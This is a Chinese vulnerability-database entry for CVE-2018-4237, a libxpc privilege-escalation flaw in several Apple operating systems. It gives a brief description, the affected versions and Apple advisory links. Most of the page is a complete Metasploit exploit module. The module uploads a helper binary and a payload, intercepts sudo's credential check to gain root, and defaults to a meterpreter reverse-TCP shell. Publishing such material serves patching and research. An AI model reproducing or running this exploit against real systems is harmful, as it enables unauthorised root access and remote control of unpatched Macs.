多款Apple产品libxpc 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1198121 漏洞类型 权限许可和访问控制问题
发布时间 2018-11-29 更新时间 2019-10-23
CVE编号 CVE-2018-4237 CNNVD-ID CNNVD-201806-597
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2018110248
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201806-597
|漏洞详情
Apple iOS、macOS High Sierra、tvOS和watchOS都是美国苹果(Apple)公司的产品。Apple iOS是为移动设备所开发的一套操作系统;macOS High Sierra是一套专为Mac计算机所开发的专用操作系统;tvOS是一套智能电视操作系统;watchOS是一套智能手表操作系统。libxpc是其中的一个Apple XPC库的开源实现。 多款Apple产品中的libxpc组件存在安全漏洞,该漏洞源于程序中存在逻辑错误。攻击者可借助特制应用程序利用该漏洞获取提升的权限。以下产品和版本受到影响:Apple iOS 11.4之前版本;macOS High Sierra 10.13.5之前版本;tvOS 11.4之前版本;watchOS 4.3.1之前版本。
|漏洞EXP
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X libxpc MITM Privilege Escalation',
      'Description'   => %q{
        This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
        The task_set_special_port API allows callers to overwrite their bootstrap port,
        which is used to communicate with launchd. This port is inherited across forks:
        child processes will use the same bootstrap port as the parent.
        By overwriting the bootstrap port and forking a child processes, we can now gain
        a MitM position between our child and launchd.

        To gain root we target the sudo binary and intercept its communication with
        opendirectoryd, which is used by sudo to verify credentials. We modify the
        replies from opendirectoryd to make it look like our password was valid.
      },
      'License'       => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4237'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { } ]
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.13.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)
    payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(payload_file, generate_payload_exe)
    exploit_cmd = "#{exploit_file} #{payload_file}"
    print_status("Executing cmd '#{exploit_cmd}'")
    cmd_exec(exploit_cmd)
  end
end
|参考资料

来源:www.securitytracker.com

链接:http://www.securitytracker.com/id/1041027


来源:support.apple.com

链接:https://support.apple.com/HT208848


来源:support.apple.com

链接:https://support.apple.com/HT208849


来源:support.apple.com

链接:https://support.apple.com/HT208850


来源:support.apple.com

链接:https://support.apple.com/HT208851